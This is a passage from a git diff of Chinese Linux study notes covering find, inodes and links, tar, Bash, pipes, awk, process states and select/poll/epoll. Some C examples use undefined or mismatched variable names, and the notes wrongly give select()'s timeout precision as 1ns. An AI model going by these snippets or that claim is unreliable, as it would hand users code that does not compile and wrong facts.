||||
|
||||
#### 4.2 与文件拥有者和所属群组有关的选项
|
||||
(二)与文件拥有者和所属群组有关的选项
|
||||
|
||||
```html
|
||||
-uid n
|
||||
@ -514,7 +494,7 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
-nogroup:搜索所属群组不存在于 /etc/group 的文件
|
||||
```
|
||||
|
||||
#### 4.3 与文件权限和名称有关的选项
|
||||
(三)与文件权限和名称有关的选项
|
||||
|
||||
```html
|
||||
-name filename
|
||||
@ -525,7 +505,7 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
-perm /mode :搜索权限包含任一 mode 的文件
|
||||
```
|
||||
|
||||
# 磁盘与文件系统
|
||||
# 四、磁盘与文件系统
|
||||
|
||||
## 文件系统的组成
|
||||
|
||||
@ -537,21 +517,19 @@ find 可以使用文件的属性和权限进行搜索。
|
||||
2. inode:一个文件占用一个 inode,记录文件的属性,同时记录此文件的内容所在的 block 号码;
|
||||
3. block:记录文件的内容,文件太大时,会占用多个 block。
|
||||
|
||||
<div align="center"> <img src="../pics//ff0c019c-6461-467d-a266-0455341fd4f4.png" width="800"/> </div><br>
|
||||
|
||||
当要读取一个文件的内容时,先在 inode 中去查找文件内容所在的所有 block,然后把所有 block 的内容读出来。
|
||||
|
||||
磁盘碎片是指一个文件内容所在的 block 过于分散。
|
||||
|
||||
Ext2 文件系统使用了上述的文件结构,并在此之上加入了 block 群组的概念,也就是将一个文件系统划分为多个 block 群组,方便管理。
|
||||
|
||||
<div align="center"> <img src="../pics//1974a836-aa6b-4fb8-bce1-6eb11969284a.jpg"/> </div><br>
|
||||
|
||||
## inode
|
||||
|
||||
Ext2 文件系统支持的 block 大小有 1k、2k 和 4k 三种,不同的 block 大小限制了单一文件的大小。而每个 inode 大小是固定为 128 bytes。
|
||||
|
||||
inode 中记录了文件内容所在的 block,但是每个 block 非常小,一个大文件随便都需要几十万的 block。而一个 inode 大小有限,无法直接引用这么多 block。因此引入了间接、双间接、三间接引用。间接引用是指,让 inode 记录的引用 block 块当成 inode 用来记录引用信息。
|
||||
|
||||
<div align="center"> <img src="../pics//89091427-7b2b-4923-aff6-44681319a8aa.jpg"/> </div><br>
|
||||
<div align="center"> <img src="../pics//1bfa3118-f3cd-4480-a950-cf6d646015db.png" width="600"/> </div><br>
|
||||
|
||||
inode 具体包含以下信息:
|
||||
|
||||
@ -578,9 +556,11 @@ inode 具体包含以下信息:
|
||||
|
||||
### 1. 实体链接
|
||||
|
||||
hard link 只是在某个目录下新增一个条目,使得新增的条目链接到文件的 inode 上。删除任意一个条目,文件还是存在,只要引用数量不为 0。
|
||||
它和普通文件类似,实体链接文件的 inode 都指向源文件所在的 block 上,也就是说读取文件直接从源文件的 block 上读取。
|
||||
|
||||
有以下限制:不能跨越 File System;不能对目录进行链接。
|
||||
删除任意一个条目,文件还是存在,只要引用数量不为 0。
|
||||
|
||||
有以下限制:不能跨越 File System、不能对目录进行链接。
|
||||
|
||||
```html
|
||||
# ln /etc/crontab .
|
||||
@ -591,9 +571,11 @@ hard link 只是在某个目录下新增一个条目,使得新增的条目链
|
||||
|
||||
### 2. 符号链接
|
||||
|
||||
symbolic link 可以理解为 Windows 的快捷方式,通过建立一个独立的文件,这个文件的数据的读取指向链接的那个文件。当源文件被删除了,链接文件就打不开了。
|
||||
符号链接文件保存着源文件所在的绝对路径,在读取时会定位到源文件上,可以理解为 Windows 的快捷方式。
|
||||
|
||||
symbolic link 可以为目录建立链接。
|
||||
当源文件被删除了,链接文件就打不开了。
|
||||
|
||||
可以为目录建立链接。
|
||||
|
||||
```html
|
||||
# ll -i /etc/crontab /root/crontab2
|
||||
@ -601,7 +583,7 @@ symbolic link 可以为目录建立链接。
|
||||
53745909 lrwxrwxrwx. 1 root root 12 Jun 23 22:31 /root/crontab2 -> /etc/crontab
|
||||
```
|
||||
|
||||
# 压缩与打包
|
||||
# 五、压缩与打包
|
||||
|
||||
## 压缩
|
||||
|
||||
@ -653,7 +635,7 @@ $ bzip2 [-cdkzv#] filename
|
||||
|
||||
提供比 bzip2 更佳的压缩比。
|
||||
|
||||
可以看到,gzip、bzip2、xz 的压缩比不断优化。不过要注意,压缩比越高,压缩的时间也越长。
|
||||
可以看到,gzip、bzip2、xz 的压缩比不断优化。不过要注意的是,压缩比越高,压缩的时间也越长。
|
||||
|
||||
查看命令:xzcat、xzmore、xzless、xzgrep。
|
||||
|
||||
@ -686,29 +668,21 @@ $ tar [-z|-j|-J] [xv] [-f 已有的 tar 文件] [-C 目录] ==解压缩
|
||||
| 查 看 | tar -jtv -f filename.tar.bz2 |
|
||||
| 解压缩 | tar -jxv -f filename.tar.bz2 -C 要解压缩的目录 |
|
||||
|
||||
# Bash
|
||||
# 六、Bash
|
||||
|
||||
可以通过 Shell 请求内核提供服务,Bash 正是 Shell 的一种。
|
||||
|
||||
## Bash 特性
|
||||
## 特性
|
||||
|
||||
**1. 命令历史**
|
||||
1. 命令历史:记录使用过的命令。本次登录所执行的命令都会暂时存放到内存中,\~/.bash_history 文件中记录的是前一次登录所执行过的命令。
|
||||
|
||||
记录使用过的命令。本次登录所执行的命令都会暂时存放到内存中, \~/.bash_history 文件中记录的是前一次登录所执行过的命令。
|
||||
2. 命令与文件补全:快捷键:tab。
|
||||
|
||||
**2. 命令与文件补全**
|
||||
3. 命名别名:例如 lm 是 ls -al 的别名。
|
||||
|
||||
快捷键:tab
|
||||
4. shell scripts。
|
||||
|
||||
**3. 命名别名**
|
||||
|
||||
例如 lm 是 ls -al 的别名。
|
||||
|
||||
**4. shell scripts**
|
||||
|
||||
**5. 通配符**
|
||||
|
||||
例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件。
|
||||
5. 通配符:例如 ls -l /usr/bin/X\* 列出 /usr/bin 下面所有以 X 开头的文件。
|
||||
|
||||
## 变量操作
|
||||
|
||||
@ -722,7 +696,10 @@ $ echo $var
|
||||
$ echo ${var}
|
||||
```
|
||||
|
||||
变量内容如果有空格,需要使用双引号或者单引号。双引号内的特殊字符可以保留原本特性,例如 var="lang is \$LANG",则 var 的值为 lang is zh_TW.UTF-8;而单引号内的特殊字符就是特殊字符本身,例如 var='lang is \$LANG',则 var 的值为 lang is \$LANG。
|
||||
变量内容如果有空格,必须需要使用双引号或者单引号。
|
||||
|
||||
- 双引号内的特殊字符可以保留原本特性,例如 var="lang is \$LANG",则 var 的值为 lang is zh_TW.UTF-8;
|
||||
- 单引号内的特殊字符就是特殊字符本身,例如 var='lang is \$LANG',则 var 的值为 lang is \$LANG。
|
||||
|
||||
可以使用 \`指令\` 或者 \$(指令) 的方式将指令的执行结果赋值给变量。例如 version=\$(uname -r),则 version 的值为 3.10.0-229.el7.x86_64。
|
||||
|
||||
@ -755,11 +732,13 @@ $ echo ${array[1]}
|
||||
|
||||
## 数据流重定向
|
||||
|
||||
重定向就是使用文件代替标准输入、标准输出和标准错误输出。
|
||||
重定向指的是使用文件代替标准输入、标准输出和标准错误输出。
|
||||
|
||||
1. 标准输入 (stdin) :代码为 0 ,使用 < 或 << ;
|
||||
2. 标准输出 (stdout) :代码为 1 ,使用 > 或 >> ;
|
||||
3. 标准错误输出 (stderr):代码为 2 ,使用 2> 或 2>> ;
|
||||
| 1 | 代码 | 运算符 |
|
||||
| :---: | :---: | :---:|
|
||||
| 标准输入 (stdin) | 0 | < 或 << |
|
||||
| 标准输出 (stdout) | 1 | > 或 >> |
|
||||
| 标准错误输出 (stderr) | 2 | 2> 或 2>> |
|
||||
|
||||
其中,有一个箭头的表示以覆盖的方式重定向,而有两个箭头的表示以追加的方式重定向。
|
||||
|
||||
@ -771,7 +750,7 @@ $ echo ${array[1]}
|
||||
$ find /home -name .bashrc > list 2>&1
|
||||
```
|
||||
|
||||
## 管线指令
|
||||
# 七、管线指令
|
||||
|
||||
管线是将一个命令的标准输出作为另一个命令的标准输入,在数据需要经过多个步骤的处理之后才能得到我们想要的内容时就可以使用管线。在命令之间使用 | 分隔各个管线命令。
|
||||
|
||||
@ -779,7 +758,7 @@ $ find /home -name .bashrc > list 2>&1
|
||||
$ ls -al /etc | less
|
||||
```
|
||||
|
||||
### 1. 提取指令:cut
|
||||
## 提取指令
|
||||
|
||||
cut 对数据进行切分,取出想要的部分。提取过程一行一行地进行。
|
||||
|
||||
@ -814,7 +793,7 @@ declare -x HOSTNAME="study.centos.vbird"
|
||||
$ export | cut -c 12
|
||||
```
|
||||
|
||||
### 2. 排序命令:sort、uniq
|
||||
## 排序指令
|
||||
|
||||
**sort** 进行排序。
|
||||
|
||||
@ -860,7 +839,7 @@ $ last | cut -d ' ' -f 1 | sort | uniq -c
|
||||
1 wtmp
|
||||
```
|
||||
|
||||
### 3. 双向输出重定向:tee
|
||||
## 双向输出重定向
|
||||
|
||||
输出重定向会将输出内容重定向到文件中,而 **tee** 不仅能够完成这个功能,还能保留屏幕上的输出。也就是说,使用 tee 指令,一个输出会同时传送到文件和屏幕上。
|
||||
|
||||
@ -868,7 +847,7 @@ $ last | cut -d ' ' -f 1 | sort | uniq -c
|
||||
$ tee [-a] file
|
||||
```
|
||||
|
||||
### 4. 字符转换指令:tr、col、expand、join、paste
|
||||
## 字符转换指令
|
||||
|
||||
**tr** 用来删除一行中的字符,或者对字符进行替换。
|
||||
|
||||
@ -914,7 +893,7 @@ $ paste [-d] file1 file2
|
||||
-d :分隔符,默认为 tab
|
||||
```
|
||||
|
||||
### 5. 分区指令:split
|
||||
## 分区指令
|
||||
|
||||
**split** 将一个文件划分成多个文件。
|
||||
|
||||
@ -925,7 +904,7 @@ $ split [-bl] file PREFIX
|
||||
- PREFIX :分区文件的前导名称
|
||||
```
|
||||
|
||||
# 正规表示法与文件格式化处理
|
||||
# 八、正则表达式
|
||||
|
||||
## grep
|
||||
|
||||
@ -952,7 +931,7 @@ $ grep -n 'the' regular_express.txt
|
||||
18:google is the best tools for search keyword
|
||||
```
|
||||
|
||||
因为 { 与 } 的符号在 shell 是有特殊意义的,因此必须要使用使用转义字符进行转义。
|
||||
因为 { 和 } 在 shell 是有特殊意义的,因此必须要使用转义字符进行转义。
|
||||
|
||||
```html
|
||||
$ grep -n 'go\{2,5\}g' regular_express.txt
|
||||
@ -973,8 +952,10 @@ $ printf '%10s %5i %5i %5i %8.2f \n' $(cat printf.txt)
|
||||
|
||||
## awk
|
||||
|
||||
可以根据字段的某些条件进行匹配,例如匹配字段小于某个值的那一行数据。
|
||||
|
||||
```html
|
||||
$ awk '条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
|
||||
$ awk ' 条件类型 1 {动作 1} 条件类型 2 {动作 2} ...' filename
|
||||
```
|
||||
|
||||
awk 每次处理一行,处理的最小单位是字段,每个字段的命名方式为:\$n,n 为字段号,从 1 开始,\$0 表示一整行。
|
||||
@ -1016,28 +997,403 @@ dmtsai lines: 5 columns: 9
|
||||
范例 3:/etc/passwd 文件第三个字段为 UID,对 UID 小于 10 的数据进行处理。
|
||||
|
||||
```text
|
||||
cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
|
||||
$ cat /etc/passwd | awk 'BEGIN {FS=":"} $3 < 10 {print $1 "\t " $3}'
|
||||
root 0
|
||||
bin 1
|
||||
daemon 2
|
||||
```
|
||||
|
||||
# vim 三个模式
|
||||
# 九、进程管理
|
||||
|
||||
<div align="center"> <img src="../pics//341c632a-1fc1-4068-9b9f-bf7ef68ebb4c.jpg"/> </div><br>
|
||||
## 查看进程
|
||||
|
||||
在指令列模式下,有以下命令用于离开或者存储文件。
|
||||
### 1. ps
|
||||
|
||||
| 命令 | 作用 |
|
||||
| -- | -- |
|
||||
| :w | 写入磁盘|
|
||||
| :w! | 当文件为只读时,强制写入磁盘。到底能不能写入,与用户对该文件的权限有关 |
|
||||
| :q | 离开 |
|
||||
| :q! | 强制离开不保存 |
|
||||
| :wq | 写入磁盘后离开 |
|
||||
| :wq!| 强制写入磁盘后离开 |
|
||||
查看某个时间点的进程信息
|
||||
|
||||
示例一:查看自己的进程
|
||||
|
||||
```
|
||||
# ps -l
|
||||
```
|
||||
|
||||
示例二:查看系统所有进程
|
||||
|
||||
```
|
||||
# ps aux
|
||||
```
|
||||
|
||||
示例三:查看特定的进程
|
||||
|
||||
```
|
||||
# ps aux | grep threadx
|
||||
```
|
||||
|
||||
### 2. top
|
||||
|
||||
实时显示进程信息
|
||||
|
||||
示例:两秒钟刷新一次
|
||||
|
||||
```
|
||||
# top -d 2
|
||||
```
|
||||
|
||||
### 3. pstree
|
||||
|
||||
查看进程树
|
||||
|
||||
示例:查看所有进程树
|
||||
|
||||
```
|
||||
# pstree -A
|
||||
```
|
||||
|
||||
### 4. netstat
|
||||
|
||||
查看占用端口的进程
|
||||
|
||||
```
|
||||
# netstat -anp | grep port
|
||||
```
|
||||
|
||||
## 进程状态
|
||||
|
||||
<div align="center"> <img src="../pics//76a49594323247f21c9b3a69945445ee.png" width=""/> </div><br>
|
||||
|
||||
|
||||
| 状态 | 说明 |
|
||||
| :---: | --- |
|
||||
| R | running or runnable (on run queue) |
|
||||
| D | uninterruptible sleep (usually IO) |
|
||||
| S | interruptible sleep (waiting for an event to complete) |
|
||||
| Z | defunct/zombie, terminated but not reaped by its parent |
|
||||
| T | stopped, either by a job control signal or because it is being traced|
|
||||
|
||||
## SIGCHILD
|
||||
|
||||
当一个子进程改变了它的状态时:停止运行,继续运行或者退出,有两件事会发生在父进程中:
|
||||
|
||||
- 得到 SIGCHLD 信号;
|
||||
- 阻塞的 waitpid(2)(或者 wait)调用会返回。
|
||||
|
||||
<div align="center"> <img src="../pics//flow.png" width=""/> </div><br>
|
||||
|
||||
## 孤儿进程和僵死进程
|
||||
|
||||
### 1. 孤儿进程
|
||||
|
||||
一个父进程退出,而它的一个或多个子进程还在运行,那么这些子进程将成为孤儿进程。孤儿进程将被 init 进程(进程号为 1)所收养,并由 init 进程对它们完成状态收集工作。
|
||||
|
||||
由于孤儿进程会被 init 进程收养,所以孤儿进程不会对系统造成危害。
|
||||
|
||||
### 2. 僵死进程
|
||||
|
||||
一个子进程的进程描述符在子进程退出时不会释放,只有当父进程通过 wait 或 waitpid 获取了子进程信息后才会释放。如果子进程退出,而父进程并没有调用 wait 或 waitpid,那么子进程的进程描述符仍然保存在系统中,这种进程称之为僵死进程。
|
||||
|
||||
僵死进程通过 ps 命令显示出来的状态为 Z。
|
||||
|
||||
系统所能使用的进程号是有限的,如果大量的产生僵死进程,将因为没有可用的进程号而导致系统不能产生新的进程。
|
||||
|
||||
要消灭系统中大量的僵死进程,只需要将其父进程杀死,此时所有的僵死进程就会变成孤儿进程,从而被 init 所收养,这样 init 就会释放所有的僵死进程所占有的资源,从而结束僵死进程。
|
||||
|
||||
# 十、I/O 复用
|
||||
|
||||
## 概念理解
|
||||
|
||||
I/O Multiplexing 又被称为 Event Driven I/O,它可以让单个进程具有处理多个 I/O 事件的能力。
|
||||
|
||||
当某个 I/O 事件条件满足时,进程会收到通知。
|
||||
|
||||
如果一个 Web 服务器没有 I/O 复用,那么每一个 Socket 连接都需要创建一个线程去处理。如果同时连接几万个连接,那么就需要创建相同数量的线程。并且相比于多进程和多线程技术,I/O 复用不需要进程线程创建和切换的开销,系统开销更小。
|
||||
|
||||
## I/O 模型
|
||||
|
||||
- 阻塞(Blocking)
|
||||
- 非阻塞(Non-blocking)
|
||||
- 同步(Synchronous)
|
||||
- 异步(Asynchronous)
|
||||
|
||||
阻塞非阻塞是等待 I/O 完成的方式,阻塞要求用户程序停止执行,直到 I/O 完成,而非阻塞在 I/O 完成之前还可以继续执行。
|
||||
|
||||
同步异步是获知 I/O 完成的方式,同步需要时刻关心 I/O 是否已经完成,异步无需主动关心,在 I/O 完成时它会收到通知。
|
||||
|
||||
<div align="center"> <img src="../pics//54cb3f21-485b-4159-8bf5-dcde1c4d4c36.png" width=""/> </div><br>
|
||||
|
||||
### 1. 同步-阻塞
|
||||
|
||||
这是最常见的一种模型,用户程序在使用 read() 时会执行系统调用从而陷入内核,之后就被阻塞直到系统调用完成。
|
||||
|
||||
应该注意到,在阻塞的过程中,其他程序还可以执行,因此阻塞不意味着整个操作系统都被阻塞。因为其他程序还可以执行,因此不消耗 CPU 时间,这种模型的执行效率会比较高。
|
||||
|
||||
<div align="center"> <img src="../pics//5e9b10f3-9504-4483-9667-d4770adebf9f.png" width=""/> </div><br>
|
||||
|
||||
### 2. 同步-非阻塞
|
||||
|
||||
非阻塞意味着用户程序在执行系统调用后还可以继续执行,内核并不是马上执行完 I/O,而是以一个错误码来告知用户程序 I/O 还未完成。为了获得 I/O 完成事件,用户程序必须调用多次系统调用去询问内核,甚至是忙等,也就是在一个循环里面一直询问并等待。
|
||||
|
||||
由于 CPU 要处理更多的用户程序的询问,因此这种模型的效率是比较低的。
|
||||
|
||||
<div align="center"> <img src="../pics//1582217a-ed46-4cac-811e-90d13a65163b.png" width=""/> </div><br>
|
||||
|
||||
### 3. 异步-阻塞
|
||||
|
||||
这是 I/O 复用使用的一种模式,通过使用 select,它可以监听多个 I/O 事件,当这些事件至少有一个发生时,用户程序会收到通知。
|
||||
|
||||
<div align="center"> <img src="../pics//dbc5c9f1-c13c-4d06-86ba-7cc949eb4c8f.jpg" width=""/> </div><br>
|
||||
|
||||
### 4. 异步-非阻塞
|
||||
|
||||
该模式下,I/O 操作会立即返回,之后可以处理其它操作,并且在 I/O 完成时会收到一个通知,此时会中断正在处理的操作,然后继续之前的操作。
|
||||
|
||||
<div align="center"> <img src="../pics//b4b29aa9-dd2c-467b-b75f-ca6541cb25b5.jpg" width=""/> </div><br>
|
||||
|
||||
## select poll epoll
|
||||
|
||||
这三个都是 I/O 多路复用的具体实现,select 出现的最早,之后是 poll,再是 epoll。
|
||||
|
||||
### 1. select
|
||||
|
||||
```c
|
||||
int select (int n, fd_set *readfds, fd_set *writefds, fd_set *exceptfds, struct timeval *timeout);
|
||||
```
|
||||
|
||||
- fd_set 表示描述符集合;
|
||||
- readset、writeset 和 exceptset 这三个参数指定让操作系统内核测试读、写和异常条件的描述符;
|
||||
- timeout 参数告知内核等待所指定描述符中的任何一个就绪可花多少时间;
|
||||
- 成功调用返回结果大于 0;出错返回结果为 -1;超时返回结果为 0。
|
||||
|
||||
```c
|
||||
fd_set fd_in, fd_out;
|
||||
struct timeval tv;
|
||||
|
||||
// Reset the sets
|
||||
FD_ZERO( &fd_in );
|
||||
FD_ZERO( &fd_out );
|
||||
|
||||
// Monitor sock1 for input events
|
||||
FD_SET( sock1, &fd_in );
|
||||
|
||||
// Monitor sock2 for output events
|
||||
FD_SET( sock2, &fd_out );
|
||||
|
||||
// Find out which socket has the largest numeric value as select requires it
|
||||
int largest_sock = sock1 > sock2 ? sock1 : sock2;
|
||||
|
||||
// Wait up to 10 seconds
|
||||
tv.tv_sec = 10;
|
||||
tv.tv_usec = 0;
|
||||
|
||||
// Call the select
|
||||
int ret = select( largest_sock + 1, &fd_in, &fd_out, NULL, &tv );
|
||||
|
||||
// Check if select actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
if ( FD_ISSET( sock1, &fd_in ) )
|
||||
// input event on sock1
|
||||
|
||||
if ( FD_ISSET( sock2, &fd_out ) )
|
||||
// output event on sock2
|
||||
}
|
||||
```
|
||||
|
||||
每次调用 select() 都需要将 fd_set \*readfds, fd_set \*writefds, fd_set \*exceptfds 链表内容全部从用户进程内存中复制到操作系统内核中,内核需要将所有 fd_set 遍历一遍,这个过程非常低效。
|
||||
|
||||
返回结果中内核并没有声明哪些 fd_set 已经准备好了,所以如果返回值大于 0 时,程序需要遍历所有的 fd_set 判断哪个 I/O 已经准备好。
|
||||
|
||||
在 Linux 中 select 最多支持 1024 个 fd_set 同时轮询,其中 1024 由 Linux 内核的 FD_SETSIZE 决定。如果需要打破该限制可以修改 FD_SETSIZE,然后重新编译内核。
|
||||
|
||||
### 2. poll
|
||||
|
||||
```c
|
||||
int poll (struct pollfd *fds, unsigned int nfds, int timeout);
|
||||
```
|
||||
|
||||
```c
|
||||
struct pollfd {
|
||||
int fd; //文件描述符
|
||||
short events; //监视的请求事件
|
||||
short revents; //已发生的事件
|
||||
};
|
||||
```
|
||||
|
||||
```c
|
||||
// The structure for two events
|
||||
struct pollfd fds[2];
|
||||
|
||||
// Monitor sock1 for input
|
||||
fds[0].fd = sock1;
|
||||
fds[0].events = POLLIN;
|
||||
|
||||
// Monitor sock2 for output
|
||||
fds[1].fd = sock2;
|
||||
fds[1].events = POLLOUT;
|
||||
|
||||
// Wait 10 seconds
|
||||
int ret = poll( &fds, 2, 10000 );
|
||||
// Check if poll actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
// If we detect the event, zero it out so we can reuse the structure
|
||||
if ( pfd[0].revents & POLLIN )
|
||||
pfd[0].revents = 0;
|
||||
// input event on sock1
|
||||
|
||||
if ( pfd[1].revents & POLLOUT )
|
||||
pfd[1].revents = 0;
|
||||
// output event on sock2
|
||||
}
|
||||
```
|
||||
|
||||
它和 select() 功能基本相同。同样需要每次将 struct pollfd \*fds 复制到内核,返回后同样需要进行轮询每一个 pollfd 是否已经 I/O 准备好。poll() 取消了 1024 个描述符数量上限,但是数量太大以后不能保证执行效率,因为复制大量内存到内核十分低效,所需时间与描述符数量成正比。poll() 在 pollfd 的重复利用上比 select() 的 fd_set 会更好。
|
||||
|
||||
如果在多线程下,如果一个线程对某个描述符调用了 poll() 系统调用,但是另一个线程关闭了该描述符,会导致 poll() 调用结果不确定,该问题同样出现在 select() 中。
|
||||
|
||||
### 3. epoll
|
||||
|
||||
```c
|
||||
int epoll_create(int size);
|
||||
int epoll_ctl(int epfd, int op, int fd, struct epoll_event *event);
|
||||
int epoll_wait(int epfd, struct epoll_event * events, int maxevents, int timeout);
|
||||
```
|
||||
|
||||
```c
|
||||
// Create the epoll descriptor. Only one is needed per app, and is used to monitor all sockets.
|
||||
// The function argument is ignored (it was not before, but now it is), so put your favorite number here
|
||||
int pollingfd = epoll_create( 0xCAFE );
|
||||
|
||||
if ( pollingfd < 0 )
|
||||
// report error
|
||||
|
||||
// Initialize the epoll structure in case more members are added in future
|
||||
struct epoll_event ev = { 0 };
|
||||
|
||||
// Associate the connection class instance with the event. You can associate anything
|
||||
// you want, epoll does not use this information. We store a connection class pointer, pConnection1
|
||||
ev.data.ptr = pConnection1;
|
||||
|
||||
// Monitor for input, and do not automatically rearm the descriptor after the event
|
||||
ev.events = EPOLLIN | EPOLLONESHOT;
|
||||
// Add the descriptor into the monitoring list. We can do it even if another thread is
|
||||
// waiting in epoll_wait - the descriptor will be properly added
|
||||
if ( epoll_ctl( epollfd, EPOLL_CTL_ADD, pConnection1->getSocket(), &ev ) != 0 )
|
||||
// report error
|
||||
|
||||
// Wait for up to 20 events (assuming we have added maybe 200 sockets before that it may happen)
|
||||
struct epoll_event pevents[ 20 ];
|
||||
|
||||
// Wait for 10 seconds, and retrieve less than 20 epoll_event and store them into epoll_event array
|
||||
int ready = epoll_wait( pollingfd, pevents, 20, 10000 );
|
||||
// Check if epoll actually succeed
|
||||
if ( ret == -1 )
|
||||
// report error and abort
|
||||
else if ( ret == 0 )
|
||||
// timeout; no event detected
|
||||
else
|
||||
{
|
||||
// Check if any events detected
|
||||
for ( int i = 0; i < ret; i++ )
|
||||
{
|
||||
if ( pevents[i].events & EPOLLIN )
|
||||
{
|
||||
// Get back our connection pointer
|
||||
Connection * c = (Connection*) pevents[i].data.ptr;
|
||||
c->handleReadEvent();
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
epoll 仅仅适用于 Linux OS。
|
||||
|
||||
它是 select 和 poll 的增强版,更加灵活而且没有描述符限制。它将用户关心的描述符放到内核的一个事件表中,从而只需要在用户空间和内核空间拷贝一次。
|
||||
|
||||
select 和 poll 方式中,进程只有在调用一定的方法后,内核才对所有监视的描述符进行扫描。而 epoll 事先通过 epoll_ctl() 来注册描述符,一旦基于某个描述符就绪时,内核会采用类似 callback 的回调机制,迅速激活这个描述符,当进程调用 epoll_wait() 时便得到通知。
|
||||
|
||||
新版本的 epoll_create(int size) 参数 size 不起任何作用,在旧版本的 epoll 中如果描述符的数量大于 size,不保证服务质量。
|
||||
|
||||
epoll_ctl() 执行一次系统调用,用于向内核注册新的描述符或者是改变某个文件描述符的状态。已注册的描述符在内核中会被维护在一棵红黑树上,通过回调函数内核会将 I/O 准备好的描述符加入到一个链表中管理。
|
||||
|
||||
epoll_wait() 取出在内核中通过链表维护的 I/O 准备好的描述符,将他们从内核复制到程序中,不需要像 select/poll 对注册的所有描述符遍历一遍。
|
||||
|
||||
epoll 对多线程编程更有友好,同时多个线程对同一个描述符调用了 epoll_wait 也不会产生像 select/poll 的不确定情况。或者一个线程调用了 epoll_wait 另一个线程关闭了同一个描述符也不会产生不确定情况。
|
||||
|
||||
## select 和 poll 比较
|
||||
|
||||
### 1. 功能
|
||||
|
||||
它们提供了几乎相同的功能,但是在一些细节上有所不同:
|
||||
|
||||
- select 会修改 fd_set 参数,而 poll 不会;
|
||||
- select 默认只能监听 1024 个描述符,如果要监听更多的话,需要修改 FD_SETSIZE 之后重新编译;
|
||||
- poll 提供了更多的事件类型。
|
||||
|
||||
### 2. 速度
|
||||
|
||||
poll 和 select 在速度上都很慢。
|
||||
|
||||
- 它们都采取轮询的方式来找到 I/O 完成的描述符,如果描述符很多,那么速度就会很慢;
|
||||
- select 只使用每个描述符的 3 位,而 poll 通常需要使用 64 位,因此 poll 需要复制更多的内核空间。
|
||||
|
||||
### 3. 可移植性
|
||||
|
||||
几乎所有的系统都支持 select,但是只有比较新的系统支持 poll。
|
||||
|
||||
## eopll 工作模式
|
||||
|
||||
epoll_event 有两种触发模式:LT(level trigger)和 ET(edge trigger)。
|
||||
|
||||
### 1. LT 模式
|
||||
|
||||
当 epoll_wait() 检测到描述符事件发生并将此事件通知应用程序,应用程序可以不立即处理该事件。下次调用 epoll_wait() 时,会再次响应应用程序并通知此事件。是默认的一种模式,并且同时支持 Blocking 和 No-Blocking。
|
||||
|
||||
### 2. ET 模式
|
||||
|
||||
当 epoll_wait() 检测到描述符事件发生并将此事件通知应用程序,应用程序必须立即处理该事件。如果不处理,下次调用 epoll_wait() 时,不会再次响应应用程序并通知此事件。很大程度上减少了 epoll 事件被重复触发的次数,因此效率要比 LT 模式高。只支持 No-Blocking,以避免由于一个文件句柄的阻塞读/阻塞写操作把处理多个文件描述符的任务饿死。
|
||||
|
||||
## select poll epoll 应用场景
|
||||
|
||||
很容易产生一种错觉认为只要用 epoll 就可以了,select poll 都是历史遗留问题,并没有什么应用场景,其实并不是这样的。
|
||||
|
||||
### 1. select 应用场景
|
||||
|
||||
select() poll() epoll_wait() 都有一个 timeout 参数,在 select() 中 timeout 的精确度为 1ns,而 poll() 和 epoll_wait() 中则为 1ms。所以 select 更加适用于实时要求更高的场景,比如核反应堆的控制。
|
||||
|
||||
select 历史更加悠久,它的可移植性更好,几乎被所有主流平台所支持。
|
||||
|
||||
### 2. poll 应用场景
|
||||
|
||||
poll 没有最大描述符数量的限制,如果平台支持应该采用 poll 且对实时性要求并不是十分严格,而不是 select。
|
||||
|
||||
需要同时监控小于 1000 个描述符。那么也没有必要使用 epoll,因为这个应用场景下并不能体现 epoll 的优势。
|
||||
|
||||
需要监控的描述符状态变化多,而且都是非常短暂的。因为 epoll 中的所有描述符都存储在内核中,造成每次需要对描述符的状态改变都需要通过 epoll_ctl() 进行系统调用,频繁系统调用降低效率。epoll 的描述符存储在内核,不容易调试。
|
||||
|
||||
### 3. epoll 应用场景
|
||||
|
||||
程序只需要运行在 Linux 平台上,有非常大量的描述符需要同时轮询,而且这些连接最好是长连接。
|
||||
|
||||
### 4. 性能对比
|
||||
|
||||
> [epoll Scalability Web Page](http://lse.sourceforge.net/epoll/index.html)
|
||||
|
||||
# 参考资料
|
||||
|
||||
- 鸟哥. 鸟 哥 的 Linux 私 房 菜 基 础 篇 第 三 版[J]. 2009.
|
||||
- [Linux 平台上的软件包管理](https://www.ibm.com/developerworks/cn/linux/l-cn-rpmdpkg/index.html)
|
||||
- [Boost application performance using asynchronous I/O](https://www.ibm.com/developerworks/linux/library/l-async/)
|
||||
- [Synchronous and Asynchronous I/O](https://msdn.microsoft.com/en-us/library/windows/desktop/aa365683(v=vs.85).aspx)
|
||||
- [Linux IO 模式及 select、poll、epoll 详解](https://segmentfault.com/a/1190000003063859)
|
||||
- [poll vs select vs event-based](https://daniel.haxx.se/docs/poll-vs-select.html)
|
||||
- [Linux 之守护进程、僵死进程与孤儿进程](http://liubigbin.github.io/2016/03/11/Linux-%E4%B9%8B%E5%AE%88%E6%8A%A4%E8%BF%9B%E7%A8%8B%E3%80%81%E5%83%B5%E6%AD%BB%E8%BF%9B%E7%A8%8B%E4%B8%8E%E5%AD%A4%E5%84%BF%E8%BF%9B%E7%A8%8B/)
|
||||
- [Linux process states](https://idea.popcount.org/2012-12-11-linux-process-states/)
|
||||
- [GUID Partition Table](https://en.wikipedia.org/wiki/GUID_Partition_Table)
|
||||
|
243
notes/MySQL.md
@ -1,48 +1,32 @@
|
||||
<!-- GFM-TOC -->
|
||||
* [存储引擎](#存储引擎)
|
||||
* [1. InnoDB](#1-innodb)
|
||||
* [2. MyISAM](#2-myisam)
|
||||
* [3. InnoDB 与 MyISAM 的比较](#3-innodb-与-myisam-的比较)
|
||||
* [数据类型](#数据类型)
|
||||
* [1. 整型](#1-整型)
|
||||
* [2. 浮点数](#2-浮点数)
|
||||
* [3. 字符串](#3-字符串)
|
||||
